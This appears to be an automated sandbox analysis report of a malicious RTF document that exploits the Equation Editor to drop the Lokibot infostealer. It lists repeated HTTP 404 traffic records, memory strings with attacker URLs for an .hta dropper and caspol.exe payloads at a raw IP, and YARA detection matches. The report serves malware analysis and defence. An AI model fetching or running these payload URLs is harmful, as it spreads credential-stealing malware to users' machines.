Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:08 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:09 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:10 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:11 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:11 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:12 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:13 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:14 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:15 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:16 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:17 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:18 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:18 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:18 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:20 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:21 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:22 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:23 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:24 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:25 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:25 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:25 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:27 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:28 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:29 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:30 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:31 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:32 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:33 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:34 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:35 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:36 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:37 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:38 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:39 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:40 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:41 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:42 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:43 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:44 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:45 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:46 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:47 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:48 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:49 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:50 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:51 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:52 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:54 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:55 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:56 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:58 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:09:59 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:10:00 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:10:01 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:10:02 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:10:03 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:10:04 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:10:05 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 10:10:06 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: powershell.exe, 00000006.00000002.387368019.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/33/caspol.eln
Source: powershell.exe, 00000006.00000002.387368019.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/33/caspol.exe
Source: powershell.exe, 00000006.00000002.387368019.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/33/caspol.exe(sU
Source: powershell.exe, 00000006.00000002.387189760.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/33/caspol.exeb
Source: EQNEDT32.EXE, 00000002.00000002.359766415.000000000056F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.hta
Source: EQNEDT32.EXE, 00000002.00000002.359766415.000000000056F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.htaV
Source: EQNEDT32.EXE, 00000002.00000002.359766415.000000000056F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.htaal
Source: EQNEDT32.EXE, 00000002.00000002.360002424.0000000003540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.htaj
Source: powershell.exe, 00000006.00000002.387368019.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000006.00000002.391849069.0000000003139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.387368019.0000000002111000.00000004.00000800.00020000.00000000.sdmp, wininit.exe, 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: wininit.exe, wininit.exe, 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: powershell.exe, 00000006.00000002.391849069.0000000003139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.391849069.0000000003139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.391849069.0000000003139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.391849069.0000000003139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: C:\Windows\SysWOW64\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: stthigns.doc, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 13.2.wininit.exe.3a0edc0.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 13.2.wininit.exe.3a0edc0.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 13.2.wininit.exe.3a0edc0.4.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 13.2.wininit.exe.3a0edc0.4.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 13.2.wininit.exe.3a28de0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 13.2.wininit.exe.3a28de0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 13.2.wininit.exe.3a28de0.2.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 13.2.wininit.exe.3a28de0.2.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
